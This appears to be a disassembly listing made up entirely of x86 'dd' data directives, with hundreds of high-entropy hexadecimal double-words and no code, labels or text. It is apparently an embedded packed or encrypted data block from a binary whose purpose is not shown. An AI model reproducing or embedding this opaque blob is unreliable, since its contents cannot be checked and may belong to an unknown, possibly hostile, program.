dd 0DA907FE6h, 3BBBCA01h, 58E930A3h, 0D3F600DEh, 5CF2C3FEh
dd 0F7DDD754h, 0BB31AB3Eh, 6CC7000Ah, 21EABC99h, 4BFB9DF9h
dd 71353709h, 7F688430h, 1EE0984Ah, 0CFB5D94Ch, 93592F42h
dd 0F1C610F8h, 883F229Fh, 56FADC7h, 0D6FC5CAEh, 0A22410h
dd 52D8F65Bh, 980E2B2h, 0D03088C2h, 0FAC2C84h, 600DEEF7h
dd 357F7A1Bh, 0E0600334h, 0BFB7E925h, 72DC225Fh, 618A5A87h
dd 80C4090Ah, 559CDBDh, 98F41FBCh, 665B07h, 5849BE3Dh
dd 529564C9h, 9CF35870h, 626F947Bh, 94FF502Fh, 74D900DEh
dd 1C3547AAh, 525BF954h, 1943A08Ah, 0FB64564Fh, 0C56BD504h
dd 0D04B1EA7h, 6805E63Ch, 0DD2C6E31h, 992FEA9Eh, 505AE9A2h
dd 1CA968CDh, 6B64C3BEh, 0F6B140EFh, 0CCCC870h, 0AB6BB1F6h
dd 0C54C7516h, 0B5CE7CBh, 6F09560Ah, 90CD7705h, 194DBAB9h
dd 302635E9h, 9C9FAFEAh, 241E916Bh, 0ACE41338h, 0EB8109CFh
dd 88F9CD02h, 492F9ED7h, 1BF04B4Ah, 5A582563h, 0FFE9C9F1h
dd 0B76205C4h, 7D448141h, 0E5988EC6h, 5818765Bh, 0B18D5F0Ch
dd 1CAF0217h, 386079DDh, 0ED25200Ah, 5F95435h, 0F844DB28h
dd 310113FFh, 89211A9h, 58193A7Eh, 0D17B5C91h, 4E10AB3h
dd 0EE875505h, 0ED026BEh, 412D6813h, 0BEA4E8ACh, 20E9123Ch
dd 0B2169478h, 12042802h, 0FA12A06Ch, 5B60E98Eh, 0C4E56BEh
dd 83CF4A74h, 27EE325Eh, 38755B7Ch, 5ADCE921h, 84FBF257h
dd 74FEF86Eh, 0EEF080BAh, 7D5CB53Bh, 0DEC3465h, 0B92216ABh
dd 91B11045h, 0EE185E3Bh, 5FC35D67h, 0DD99182Eh, 0BC807B16h
dd 1358FEB8h, 0EE2151A3h, 36012B4Ah, 57C36801h, 48963318h
dd 93E521CFh, 0EF35004Ch, 0A12E3D9Ch, 0E3DE2A3Dh, 405C8F84h
dd 1B473EDh, 0AE294A9Ch, 4E5D584Ch, 2DCC40A8h, 72F78316h
dd 0EA4D0906h, 55CD05FDh, 0F826C756h, 2BFE7D76h, 0D930CC4Eh
dd 4AB053F1h, 0C7ABA04Ah, 94B761A3h, 0A1C6AB4Bh, 0AE40000Ch
dd 0BD55B429h, 103C4874h, 0A2825A2Ch, 50EE775Dh, 0F8251182h
dd 67CBBF56h, 30E959C2h, 681CCBF0h, 0F62D603Dh, 6C35842h
dd 70761F04h, 0D784D329h, 0B8C0812h, 95017668h, 0F3098546h
dd 2104E6Ah, 0E04B3EA1h, 60F0313Ch, 5D81D85Eh, 93A0B82h
dd 0E8CCE8h, 7AC4BF57h, 27C1239Ch, 0A98206EFh, 9C081047h
dd 89A8DA12h, 0DD1D6079h, 3A337FEDh, 0B30C7963h, 4263CA14h
dd 8128834h, 14160C34h, 405F3DFBh, 0BC78D2FBh, 0E1E97709h
dd 0BB165FA9h, 86F3C59Dh, 664A5543h, 3E0EEF05h, 0E41719FBh
dd 0C513AFF0h, 0EC16E9CFh, 10AE4FA5h, 7205A67Eh, 0FE4A760Ah
dd 3A82D0A5h, 386C0C24h, 7154676h, 77D91A85h, 606E81F7h
dd 0C2805AACh, 371E0DDCh, 20FACF01h, 0F740F4Bh, 251AF6EAh
dd 26FC645Fh, 0C90C39D3h, 336ED3FEh, 9C3AF3A1h, 514A5817h
dd 4AD1EAD8h, 1315FC5Ah, 8BEFF3F7h, 62C179EAh, 1A790ECCh
dd 1355C46Eh, 710AAE07h, 6881452Fh, 21CE5403h, 76204335h
dd 7A5E81AEh, 0FED73EBDh, 0DD562272h, 0E228DFDBh, 1F84744Ah
dd 7F15CBEEh, 0F991B22Fh, 0B87069F5h, 0DF0A3D18h, 8386AF28h
dd 66470DD0h, 9690848h, 0DD575F4Ch, 0E9450380h, 0DB9F34B4h
dd 23682D08h, 0DE0B2DD8h, 8639E241h, 195386Ah, 2206FAEEh
dd 44DE012Ch, 0D60849B0h, 47D12148h, 0DFC131C1h, 3D685A1Ah
dd 0B93ED013h, 0C9D91011h, 9B392E7Bh, 2AF6AD88h, 996B1D8Ch
dd 0A55A57D7h, 0FBC2955Ah, 0AF920FE3h, 0D5254D8Bh, 6C768E89h
dd 8BBDC525h, 8B259CE9h, 2CF29D5Ah, 9AE4841Ah, 0FFCBF00h
dd 12540CCh, 0AC3AE5F8h, 0BC8B0E1Fh, 0E72DBE17h, 0D2FBB63Bh
dd 0A8B40EF2h, 0F0E917C1h, 0FE5E19ECh, 0CAFCD729h, 5EB7A445h
dd 0A107AC52h, 0E7C356B0h, 0A2E196F5h, 0F42DFC7Eh, 10BDE6AFh
dd 0C1C0BA52h, 2B47434Ch, 56AB0CC1h, 0B82E08B0h, 0A008415Eh
dd 7F6140Ch, 485D9D49h, 0F2F7D73h, 0C285A43Ah, 6FB6B3F0h
dd 72030A79h, 0C07583Eh, 51125FF2h, 4168B9C1h, 59E949E8h
dd 0E84A13D6h, 3BD3453Fh, 97BD8E1h, 69D4430Ch, 6E77D9A5h
dd 54DFF3C0h, 0E91842C6h, 0EF17AD4Eh, 2A0E0FDh, 741E2D10h
dd 0F98538C0h, 0E9070205h, 0DC9C7ED2h, 0F7E8832Fh, 8940C896h
dd 5B5A8255h, 0AF5BDE24h, 8A611902h, 0F2CA757Bh, 0BFE90801h
dd 0C49D6CD0h, 5D09999Eh, 733E5DD4h, 9AC82FF1h, 9DEB0980h
dd 0B2D45866h, 496DF49h, 6DF6839h, 0C2E93B6Dh, 73527B3Dh
dd 9B189730h, 7482A1F9h, 0C090BC0Dh, 8463493Ch, 0DAFA5EF5h
dd 286802B2h, 523A7842h, 0C040B0D1h, 62B85073h, 3C026E25h
dd 704702BAh, 0BF3E61E6h, 0ABFFC712h, 217DC1D2h, 1C83A37Bh
dd 0D0160EB2h, 682F63AEh, 0B0F761C2h, 81476F13h, 67C5FC5Fh
dd 0EC526694h, 0BE0F16D4h, 0CB5A93C8h, 0AF66333Fh, 0DF9CD734h
dd 0BB86E916h, 6E056C20h, 686637DBh, 12290529h, 0E71D0188h
dd 0DC5309A7h, 9A5BE94Fh, 67ADFA13h, 13E3C58Ah, 0E09956FEh
dd 0CE304940h, 2D1A281Eh, 485401D7h, 99290E25h, 38E9D815h
dd 10E7E152h, 357B4043h, 0BF46D14Fh, 42134A1Eh, 0B3FFBADh
dd 964E871Eh, 4F9FEC2Fh, 600F38ABh, 0C05C9840h, 5647B921h
dd 0D8BF0D78h, 3E0A0285h, 0E909132Ch, 0A89D5043h, 0F8164A43h
dd 30E9FD7Ch, 0ED1D4BE8h, 7A0BB923h, 7FEA8995h, 2E4BA569h
dd 0AB00A0B2h, 897C6C33h, 555F5BDDh, 36FE78C1h, 4C3459Fh
dd 83C408B8h, 1705B037h, 0B16DB7CBh, 0A6A98104h, 3C18002h
dd 684B389h, 0F8310B74h, 0F5CCBFB0h, 391F32Eh, 0E836F5C9h
dd 4B2AEB04h, 8F975F2h, 2FAD0841h, 75E566D0h, 53852E2Ch
dd 0F8C074BFh, 0A89B5CEBh, 82A84FE9h, 35F5DABh, 4857558Dh
dd 0E401D80Ch, 0C1221103h, 0EA9E40E2h, 0D52F0D49h, 7764895Ch
dd 69B24A22h, 0D8F488A0h, 0EAF8CCFEh, 452DCCBEh, 45E024A2h
dd 0BB7DD422h, 0FA97C4B6h, 72A28A21h, 80C4CB3Ch, 0F1AC16CDh
dd 0D2B62778h, 0BB00F5C6h, 5E8B77C0h, 0BED59BFh, 0DF298842h
dd 0D8A77585h, 5441BC91h, 62CF62Ch, 27A08F25h, 1F1B5836h
dd 87FCD129h, 5959CA7Ch, 56991933h, 0E06AE238h, 1C41223Bh
dd 4280D26Fh, 2C624DC2h, 8857AF84h, 237F10D5h, 142D0F00h
dd 0E99F32ABh, 8F5A4DAEh, 0C51AB007h, 0D019A57Fh, 76E5B8EEh
dd 315A7117h, 0E82205Fh, 411D9104h, 26A5D796h, 68614F74h
dd 8C2F07C0h, 0AAB4BECBh, 7828742Dh, 2A16A8BAh, 0C4183774h
dd 0B253E949h, 4C5C4C57h, 0E07B0576h, 0AEFA2922h, 1E588B88h
dd 5307EBC0h, 53FAC088h, 0DF26B652h, 5008C9D0h, 38B70A15h
dd 0E953E03Ch, 54979D2Ch, 0A1F15B92h, 929C3FA5h, 0BFCF5BB2h
dd 68588C61h, 0FC283ACDh, 41F001B1h, 1B5FC69h, 0A030C221h
dd 9CD93BBh, 34FF0917h, 0BFB32D58h, 97B93C18h, 97D87F82h
dd 39FEB54Bh, 25B7FF5Ah, 0FF10A02Dh, 6A70FB97h, 5A6B0011h
dd 0EF682774h, 0FBF3064Eh, 8F949F18h, 97BC95B5h, 2E2B4882h
dd 0B0F0D565h, 907F0882h, 82DEF5D7h, 0EEE3B041h, 53018966h
dd 68FF33FCh, 5D89526Ah, 9157138Dh, 0AD7B4826h, 3D1CB0Dh
dd 2E4055Bh, 3F73BF84h, 4BC02362h, 60827202h, 2D372F3Dh
dd 72C7FF7Ch, 191DF27h, 0AC671133h, 68D7F104h, 4DB85B66h
dd 0AD46D92Ch, 1D2C6576h
dd 23BCE101h, 0C80385Ch, 46782B5Bh, 205AD3E9h, 4D79DE89h
dd 40FB0519h, 4D3BE168h, 0B7B900FCh, 375FF810h, 0A9A460C2h
dd 0A008C697h, 2F278781h, 0B376217Ah, 0E54A84A8h, 80E330D0h
dd 0D8FB4AC3h, 0E04E2A56h, 0E4455929h, 5CF828ABh, 920BD197h
dd 4B4DA84Bh, 48312DBAh, 20BFB369h, 5EB9C631h, 21A4F1Eh
dd 3A7B689Ah, 25A01BD7h, 0E8D48CCEh, 0E5D6130Bh, 948A0D74h
dd 0F9CC3016h, 70683912h, 9BF61F0Bh, 9609C19Eh, 0FEA3CCE3h
dd 68A4C85Eh, 916745D0h, 157690A5h, 9EC4EA68h, 0E527CF09h
dd 525E0452h, 25E920BAh, 8060DEBEh, 17E53E0Ch, 8E01E281h
dd 68342160h, 0EF5D0389h, 40E978C8h, 35074062h, 0AA078237h
dd 0D89369EFh, 385B768Fh, 0F94EA957h, 55508636h, 34B30144h
dd 0BFE94451h, 1FD36A30h, 0B6EA8533h, 0FDE98456h, 5B2B9ABCh
dd 0D93109B5h, 2B5711DDh, 42A0393Fh, 46DDD8F3h, 0E1315FEDh
dd 0AF37AB2h, 0C827999Ah, 5A89A828h, 10FE9AD1h, 4CF36803h
dd 0B5D36A59h, 4A3C519h, 643D20AFh, 2025F610h, 1356FA59h
dd 0A4CD4EE9h, 0EF61580Dh, 45D5F70Ch, 90AD3Eh, 46DEBE56h
dd 49E90A31h, 0CA5FCC39h, 5730283Eh, 41934924h, 0D370B540h
dd 0B9510252h, 0AD2C8F4Fh, 0CAAE635Fh, 665807C8h, 0CB7AF21h
dd 80658h, 5930F92Dh, 280F057Dh, 484C2E05h, 0D7AE5FE9h
dd 39BA608Ch, 0F0F519C1h, 5A92BBC0h, 0EEB8FE7Ah, 0D628E74Ah
dd 0E9C81288h, 0B643C583h, 0D8BC5B66h, 919FA416h, 2A731936h
dd 4D7E3C8Eh, 3762E4C9h, 0B046E0F9h, 45BF2C8Ch, 0DF56CB36h
dd 53BD7C2h, 0FCAB2BAh, 324522EEh, 354DEC3h, 7C87C317h
dd 6CD90C43h, 0BCAB040Bh, 0EBFF2E0Fh, 0E5281E00h, 98D5F658h
dd 0D88F4D38h, 0EEF7F985h, 4E0AB3CCh, 689E4265h, 0B25C69C4h
dd 5828B799h, 23E1997Eh, 39531065h, 0EFE2D113h, 146D85Dh
dd 20202D0Eh, 0F0B66C5Ch, 3FE8D74Bh, 112E6ABFh, 2B1610EDh
dd 0C286D441h, 881C0FEh, 0B551DAF6h, 0A4C290E8h, 11135D3Bh
dd 0D8A0E82Bh, 3F500294h, 5B9373B4h, 6A4E416h, 0F4AB04EFh
dd 2B4BDF62h, 216EE98Dh, 79A0321Ah, 2054D4CAh, 0D8529F0Eh
dd 0BC5E7C0Eh, 0F90E7803h, 45E13E13h, 0D7E8EA82h, 7C6069A7h
dd 35FC607Ch, 5E16095h, 5E372C3Bh, 2D283C3Fh, 44E91907h
dd 3AF76B98h, 0F07B8A99h, 6815532Bh, 38596ED7h, 0E98CD0B2h
dd 0B4B1964Bh, 2CC8C576h, 9F4AA008h, 3F3E2D3Ch, 0C0DBE927h
dd 78EE8034h, 0A67D2CB8h, 638F81C2h, 2A5F069Dh, 1BE27D90h
dd 29562F7Bh, 0C0608B2h, 6824748Bh, 0C442A77h, 0EE1784AFh
dd 62D20B98h, 0B9FD2155h, 0EB28FD08h, 0EFF6CD7Dh, 0EEF70844h
dd 0FD5F6E63h, 0A23D06FCh, 0AC030C20h, 0E9BEFE45h, 4DFCEDFh
dd 2D27D46h, 998BEA5Eh, 12CF2F10h, 1904EB28h, 35BA0108h
dd 1D39EF6Ah, 37C4CF3Ah, 1EF4FACh, 0AB246F6Dh, 3155C22Bh
dd 5D500540h, 9FE64C97h, 1B26CF58h, 336B26C7h, 17AFB41Eh
dd 1A52B99Ah, 7D2DA2E9h, 2D047644h, 6C104163h, 74510EBh
dd 19BED067h, 2E3C6CF9h, 539393C6h, 38D25977h, 5DE2EAB1h
dd 60353000h, 9AFA1598h, 7B20CC41h, 0C32E54FCh, 20FE9A1Ch
dd 3E90904Bh, 0B252CC0Eh, 2EEAC70Eh, 8594FAE5h, 0D5460AEEh
dd 0E8483B81h, 0B17EFE25h, 0D059DCAFh, 0C3B125F3h, 0EE7AEB01h
dd 826ED664h, 3BC2570Eh, 75B95AD8h, 0B4FC96B7h, 0B8F6BFAEh
dd 0C834D772h, 315D5427h, 0FD829DCDh, 66C32858h, 80966177h
dd 69FBAD9h, 1DF31E9Fh, 31F760EBh, 7AFD3AC4h, 0CCD5AE85h
dd 68165909h, 2CFC09A3h, 0E433E9C2h, 29BAB3A0h, 3F7BA22Ch
dd 33CDDE4Dh, 848B4656h, 0D743F6FEh, 687E0D61h, 9D059422h
dd 0F02A0569h, 3C4E07E3h, 0BB8B2BF3h, 0D7D12BD7h, 0DCE9FDC0h
dd 0F60134BCh, 0F3F280D2h, 0C0C56FE8h, 154EBDB0h, 549D0AB4h
dd 0EAB50757h, 0C1C34E4Bh, 2E848F2h, 0CAFDE929h, 356088Bh
dd 27D6FC2h, 9740015Ah, 0A1F142Dh, 0E7967072h, 80F07057h
dd 0B54E9AB2h, 145500E2h, 0AF294BAFh, 0CE013D28h, 47105F4h
dd 140B4AF6h, 5EEDA882h, 0F8BE0121h, 601AD974h, 63025EBBh
dd 9EE91F24h, 96E75985h, 0EBFC56F2h, 0A12F4899h, 8DA73FCAh
dd 0DD4CE934h, 23326A57h, 681968D3h, 5B7D5C25h, 7C9648D8h
dd 75439A24h, 85208212h, 1B5FBDC6h, 7229FA09h, 0D240F9h
dd 0C107E2C1h, 36267594h, 0A9CA8F0Eh, 7DC7A9AFh, 0C9EA6225h
dd 0E7812F2Fh, 382C716Ah, 2450FCC7h, 0E0A28502h, 795566Fh
dd 3C32919Ah, 0F7FF615Bh, 0DD5E0742h, 0F69582C6h, 0B8E9784Bh
dd 5930859Fh, 68022DE2h, 14F0704Bh, 804F094Eh, 0BB66D780h
dd 976774B2h, 0F430DD7Ah, 0D7BD3AB1h, 0B1E0D19h, 2A0BDBBEh
dd 0E78BF99Ch, 52BACE7Eh, 4DEC5A7Bh, 8B627EA9h, 0D508EA9Dh
dd 0A085DA43h, 0CEBD339Ah, 96813D2h, 654CCF59h, 8A165199h
dd 7E01BAC2h, 1990ACE2h, 7A5E14DCh, 0C68F58Fh, 6C676B38h
dd 68C8BF81h, 0C2516B86h, 50030661h, 0ADA36DB1h, 822AF269h
dd 4D5955E3h, 621DF1E9h, 667D2FC6h, 36F124FBh, 868C177h
dd 9E3E4246h, 0D9F0A66Ah, 1BA3B52Dh, 0C5EC90Ah, 8D202D88h
dd 72EF8109h, 73309F2Dh, 0E78819CEh, 2E598148h, 0EF4ACCE3h
dd 0EDF17700h, 0BF013011h, 2EDE4D20h, 0CC153C6h, 0A9F1BAD1h
dd 2989827Fh, 0B54FC5D7h, 0EC650016h, 5A01B53Dh, 0D0CD5E9Fh
dd 8D5FEAE9h, 737F5F91h, 0A4441CE1h, 0E1E94D07h, 0A4F15BBCh
dd 1F0569FBh, 43E4F505h, 1FD468D3h, 0A71C5712h, 98339FD1h
dd 7409B82Dh, 30600B4Eh, 0CA0B60B7h, 0A948E905h, 9C3C7791h
dd 1B38E627h, 32A5C91Ah, 27688664h, 0ED147126h, 74BA5D4Fh
dd 0E30BAA55h, 0C5695555h, 959FD85Ch, 0AB6F0A4h, 927A33Dh
dd 99FDE1CEh, 0F4011C8Fh, 828004A4h, 0B87E02BCh, 0B7EF0E83h
dd 538A6Dh, 0E71F343Fh, 2C5FE91Ah, 0D75180C2h, 293E7864h
dd 362397D8h, 0EED780EDh, 0F4505F0Bh, 0EC28808h, 0A4FDCA5h
dd 23E230Ch, 675F1FA8h, 9EBEE8FDh, 584B305Bh, 0E7C4E910h
dd 0D6976792h, 306312Ch, 76E0704Eh, 5B57F7Fh, 0D8D0D7C2h
dd 5B0E0D7Ch, 7CCA960h, 0C4639362h, 6C09C760h, 1381A78h
dd 804ECCFh, 0ABA48859h, 5C3D774Fh, 0B659AE30h, 1375A95Ch
dd 0EC2489C1h, 0CD3FB2F0h, 0FEF0DF61h, 4C79BFD7h, 5D03DB26h
dd 5549174h, 192AD10Ch, 0CFDB8742h, 6F14E1E0h, 496A7436h
dd 0D410DE5Ch, 4B8844Bh, 4034F9Dh, 99AE3158h, 14EC6E3Fh
dd 332D5E13h, 7FC852B9h, 6C5BA529h, 7D341CB8h, 5820FA0Fh
dd 783479BDh, 53FEF4E5h, 5F2DE782h, 0BF8214F5h, 0DE1200D3h
dd 0DE3A12BEh, 0D7E90CC6h, 5FE50B08h, 0CC2CEC8Ah, 4BC111DDh
dd 567E8EAh, 22AB4BE1h, 1FE9A302h, 7BD448BEh, 46F19533h
dd 58B956EBh, 679D88CDh, 0C03826B1h, 0FE394DBAh, 0E204C1B0h
dd 40150F8Dh, 4B2202BBh, 9C894901h, 4E27918h, 4134FE95h
dd 0D9AAB510h, 0C9A53AEEh, 2A5BE03Bh, 5131B25Ah, 0E858FDBh
dd 0D81A7868h, 18001F07h, 0D14546E4h, 0B778E9EDh, 0C85D9B04h
dd 5BB5DBC4h, 0E5B04EEh, 0FB481A8h, 0F42D0085h, 4E870B09h
dd 0E382215Ah, 136A3447h, 31D57177h, 2A9F334h, 6E51C05Ah
dd 0AF219F9Ah, 7B546021h, 0E57FC999h, 41A7D000h, 0E4D46C26h
dd 0E9D52182h, 3983F625h, 0D91F9D80h, 3D0BBE2Ch, 1E61809h
dd 556E05EEh, 82F3E0E5h, 0E4236085h, 0A1D99FBBh, 0BE1924Fh
dd 0F1C0B92Ah, 0B104F33Fh
dd 8D27FD56h, 643DF1Fh, 65622440h, 1D1B8C4h, 402684C9h
dd 6B63E94Fh, 755C18C2h, 163FA1FBh, 7349CE12h, 0CF15709h
dd 0A4B50540h, 21BA582Bh, 849C1E1Ah, 0C998715Dh, 13792884h
dd 0D24D77EBh, 6E77D438h, 636812EEh, 0B660EF1Ch, 419530E6h
dd 9EF72E77h, 7C18E901h, 9DF32956h, 0C84967F0h, 0E1965D3Eh
dd 0D9A7212Dh, 15376ADCh, 0C24F15BAh, 0B8DD85D8h, 4B73688Fh
dd 8801CC64h, 42CAD04Fh, 5EB8427Ch, 0A66E64B1h, 0DAE909F9h
dd 0D682C1FCh, 0FB7C3AA5h, 0BC0C94A9h, 14FD41DBh, 0C44DED80h
dd 76EBC0B7h, 0B855FDE9h, 0A28FE04Ah, 492BB292h, 160C8055h
dd 5EAF1BBBh, 793E366h, 565A7487h, 5885BE13h, 0E93F1A0Dh
dd 0AE7FCB25h, 67B34E6Ch, 0C363A3F4h, 0E9E3809Dh, 2B0497ECh
dd 278AEB5Ch, 2F1B207Fh, 8255E76h, 6E729972h, 0C7E7902Ah
dd 0D427E62Eh, 238B7F51h, 0BD4E3E57h, 31510954h, 95C0B720h
dd 3AB36883h, 9FA8A7B9h, 4D5F5F30h, 0ED249EAAh, 9D0AFDECh
dd 0D50E2D75h, 232EB79h, 3636A33h, 0ACDCE268h, 2E3BC086h
dd 5BE940FEh, 314A0970h, 0EC622E92h, 487ADA2h, 75D0B25Dh
dd 181DA1B0h, 974079B5h, 1612F9E2h, 0C8134C0Ah, 9910B1BCh
dd 0E2FD4F89h, 11067B0Bh, 0E90702A0h, 2A9F100Dh, 23095CBCh
dd 5F45C48Fh, 3CA0FD60h, 0B90596EDh, 9AD20687h, 0D3504929h
dd 3389D840h, 27717D97h, 757AB894h, 97535720h, 464797Ch
dd 6D9B7246h, 0A127EF77h, 4EB47F95h, 0BC876B20h, 0E0E50A23h
dd 0DF2C1F17h, 141FEB5Ch, 4D221E10h, 48BC80ACh, 0E5594h
dd 6D02DFC2h, 4A47687Ch, 1A013140h, 71F4484Eh, 0FE571706h
dd 9EC6F821h, 0C5EB80F2h, 5A306146h, 5652AF98h, 690B3221h
dd 7716F55Bh, 71279427h, 23A380D5h, 5C296AE7h, 0C6858B6h
dd 5769E829h, 0DA950FCCh, 0B45E6138h, 6A2E631Eh, 7E084401h
dd 0C464343Ah, 0CD8C25E9h, 7C9801Bh, 5A68005Ch, 0AFC29460h
dd 0DCF5A1C9h, 0ED94A16Ch, 692F528Fh, 20A55866h, 2297C75Dh
dd 902D1DC7h, 27059090h, 404A0685h, 0E1090809h, 79726CFEh
dd 0BF9EB421h, 6882E5A6h, 1066096Dh, 0C77603BFh, 599025A5h
dd 3D0C857h, 43C688F0h, 0EA3F821Eh, 0F7BDB1FBh, 0B4116967h
dd 83287BC8h, 532940A4h, 0B05BB72Eh, 0F7242410h, 4987A687h
dd 7AD98800h, 0E9181CF4h, 0C277A451h, 641A17F1h, 50980074h
dd 0F74F0F1Bh, 751CD260h, 27A3C089h, 0BB2BD1E9h, 789E5E8Eh
dd 6A5D9970h, 0F0559433h, 0EB7FFE34h, 4167351Fh, 0CB83E5A6h
dd 310AE8C1h, 0CCD7BBBCh, 721B2BE2h, 0A62720B7h, 414E6812h
dd 0BB36A7F3h, 7A98F8E7h, 0E6C4841h, 0EA309873h, 4B7C09A2h
dd 4DA5B3Bh, 74319025h, 0D92AECF3h, 4E511F3Dh, 84040B9h
dd 0D5E72FE9h, 1C5D4D9h, 770C14B0h, 85892CD6h, 13A6AC83h
dd 0B3E7B85Fh, 0BD250350h, 68E10C7Bh, 0ED3764D7h, 610807EBh
dd 0BAB44D78h, 4169B6FCh, 685088F4h, 0A9544F22h, 0CBE985BBh
dd 3DC6A5EFh, 0A969F2Ch, 84BAA540h, 1297Dh, 47A1F281h
dd 0E94A15E8h, 4588AF25h, 0C7C02F11h, 60826D5Fh, 70669895h
dd 2DEDB659h, 48105F7Eh, 8B49A60h, 0E77C8853h, 1112DE25h
dd 0F9ED51F0h, 222D052Bh, 0AFF498BFh, 955EFAAh, 16075FFh
dd 0A69C5FD3h, 728F284Ah, 8B7D6931h, 96B4D0B3h, 65D965ACh
dd 2CF4E9EDh, 86488C28h, 997A3C02h, 12FD01Dh, 35DF0ACBh
dd 2ABDF3E9h, 876FF831h, 5936C124h, 6D819B58h, 0A52AD51Ah
dd 0C3F0A2h, 8007E3C0h, 0DE30FDF3h, 3A5F5B48h, 77957051h
dd 0C71F8294h, 0ED64576h, 0C23D3846h, 22D6901Ah, 0E84A8C32h
dd 763B9C00h, 0ED0161F0h, 8041421h, 0C85021AAh, 0DFAC6BA5h
dd 0BD9C6986h, 0E60AFC25h, 12A203Dh, 813CE927h, 7BCD80FCh
dd 0E00BF5CCh, 30590BEFh, 0C0555BF9h, 27E9D007h, 15D5AF12h
dd 9CC2854h, 47FB62A0h, 171CC780h, 0B6C03E26h, 74F13FAEh
dd 25BF0257h, 0D1392259h, 0A687CB60h, 246FF5BCh, 8FEE6FBEh
dd 5471127Ah, 91EE8E34h, 89D00333h, 5940D2F3h, 9E1C9057h
dd 98EFEE53h, 0CE632960h, 14319472h, 0DB5A6741h, 6AAE0CDEh
dd 0A65F9041h, 0DE9D03A5h, 6F874970h, 0CA734182h, 5602CB79h
dd 4629C568h, 3943F17Fh, 9DC6CB58h, 5FE97EE0h, 0E9621659h
dd 3768830Eh, 9579191Ah, 64F0ADC9h, 5C16BE9Bh, 0DFF01FD3h
dd 0F7E92A41h, 0B8F595F4h, 978315DCh, 0D368787Ch, 0AC10800Fh
dd 0B9F4E05h, 0D1675630h, 0B9FF3D02h, 9609B4E4h, 7E22516Eh
dd 0F5823C0Bh, 0DB9742Dh, 236E27Fh, 0F67EB9Dh, 2E39363h
dd 0BEB1A28Fh, 3D701864h, 0CF27F37Ah, 75D93A55h, 0C22088E4h
dd 8A62B782h, 0C9EFD861h, 455BF4FBh, 993A599Fh, 7F9B06B2h
dd 51C368FCh, 0DA095954h, 7E896A22h, 95E20251h, 2C68A576h
dd 124A8D68h, 7038DA32h, 83BE043Bh, 0EE567052h, 14784CA0h
dd 0D3A98FADh, 0BD4CE91Ah, 44968100h, 36B032C9h, 6AF55E9Fh
dd 734C002Ch, 0E98142E3h, 0A50D486Eh, 0C1FC5923h, 0E7B30CC5h
dd 2C2F7B50h, 0BF9655F9h, 0E04B8CB0h, 0BA2F21AFh, 20EF2ADDh
dd 0CCA223F9h, 7926C07Dh, 56C7E462h, 5F85DCA2h, 3C3192CCh
dd 94865B63h, 0FB07BD6Dh, 0B217087Fh, 0D16C5110h, 5B547359h
dd 257BACB3h, 96487F13h, 0C3569B9h, 5AB1EE20h, 0EC12596Ch
dd 5E84359Ah, 1918C86Fh, 90EF8003h, 1087D58h, 0B353F0B1h
dd 41B551CEh, 2E4BEDF8h, 69C0340Eh, 9815606h, 4C5EE3EAh
dd 1416774Bh, 7B48532Eh, 0D43D140h, 13D9867h, 62EF4C79h
dd 236835E9h, 93513B99h, 0D78C4D4Bh, 0D43927E9h, 0D52085E6h
dd 275C7E9Dh, 6E904F31h, 8D5E0F1Fh, 40875EEBh, 49FE39AAh
dd 0B8795056h, 53BB5700h, 3504E0C1h, 0C566135Ah, 0EF0613BFh
dd 0F52F848Ah, 75BD9ADFh, 0ADC2870Ch, 0A3A0617h, 762190EBh
dd 7279E758h, 0D02C2BDh, 17010C08h, 6F3C99E9h, 0ECCEFE12h
dd 0A5393D02h, 59268540h, 6BCF92C8h, 42DD8528h, 706BFD96h
dd 0AFC0B2F1h, 4E165F44h, 9A80E020h, 0B2515ED8h, 6B77C0BFh
dd 585B39A3h, 0AD204243h, 0C2F1FBF8h, 0C587595Dh, 1828AE56h
dd 3C440B68h, 0D9D62A98h, 939F158h, 5159F026h, 2CD6CAE6h
dd 84CE8AFAh, 9191B4E9h, 0C8C1C1B1h, 247CECADh, 8406ECE3h
dd 7093B021h, 53418488h, 0EA8DEB52h, 80C07576h, 4A905552h
dd 0F5280502h, 0C0EE814Ah, 0C0606241h, 0D9BD4C0Ch, 84988987h
dd 10EFBA0Fh, 7DE6F4B9h, 21926D02h, 5F137FE9h, 8EEC71A3h
dd 73B80C1Eh, 2DBDC9h, 0AF050732h, 6E482D55h, 92585656h
dd 25AB2566h, 2BF29D50h, 30C13A3Bh, 13FA1205h, 78494CA3h
dd 0D45FAD05h, 4FE29043h, 609D7126h, 95C32961h, 6EEC4322h
dd 56180500h, 84025F66h, 5B070997h, 817B5D91h, 17F7BE2Bh
dd 828FCCCh, 7FA5FD9Fh, 648E4CA0h, 9B76CCBh, 20BCD2C4h
dd 759590E5h, 7FA2DA18h, 55E7AB9Ch, 0D3BC70C2h, 0C6F4BDEAh
dd 6ADA292Fh, 5E1E4409h, 581F464Ah, 3E00F256h, 0E9545822h
dd 0D49DFFA4h, 0EB5EE4D1h, 464B3899h, 337A5127h, 9ED194BDh
dd 58F42532h, 5D45E978h, 4C3C4B3Eh, 0D68B7E49h, 4D8934DCh
dd 0ECD6DE1Ah, 8079C52h, 0F32915DBh, 813EB85h, 69983409h
dd 680018BFh, 659150D4h, 9AB2D5B7h, 951B462Ah, 31403264h
dd 9C982FE9h, 6F4325Dh, 4A0C99E2h, 0F9CDFB50h, 189B8420h
dd 7C4CA84Eh, 9160D02h, 3949BA20h, 3B34605h, 4823445Ch
dd 0D793FA31h, 0DFF7080Fh
dd 9C001287h, 6C6EE5EAh, 0B3E1A816h, 59A8B88Fh, 417805Ch
dd 0B8400E32h, 0A851D31Ch, 0D43C981Dh, 376D3D53h, 8DAF1497h
dd 5F816A20h, 0D03E81C4h, 5D23C63Ch, 90278098h, 1596FD87h
dd 539E9995h, 0B735A370h, 0C7D0A9A4h, 7152B7F7h, 0EC040ABAh
dd 0D4B8E3BBh, 41EACD81h, 34DB7C80h, 2E70B086h, 4BDE73BFh
dd 0BE097D7h, 1AAB9DE9h, 68AA105Dh, 97407052h, 0F772905Eh
dd 83547816h, 0DDED01A8h, 17F66856h, 42C9C829h, 98BBB72Fh
dd 272B101Ah, 8551AF0h, 58140888h, 30FB4E13h, 10F3EDFCh
dd 0E9133109h, 28E2402Eh, 581EBCDDh, 0F4B58DC5h, 0D968853Ch
dd 50A03011h, 43B52B0h, 0E9039E01h, 0D3EEF857h, 200A51EBh
dd 0DC1C34C2h, 18F1008h, 0CB05B368h, 0FD2A202Bh, 6B88B54Bh
dd 4B1909EDh, 0C5852723h, 0AE77BA0Ah, 26B01FB3h, 425B5F64h
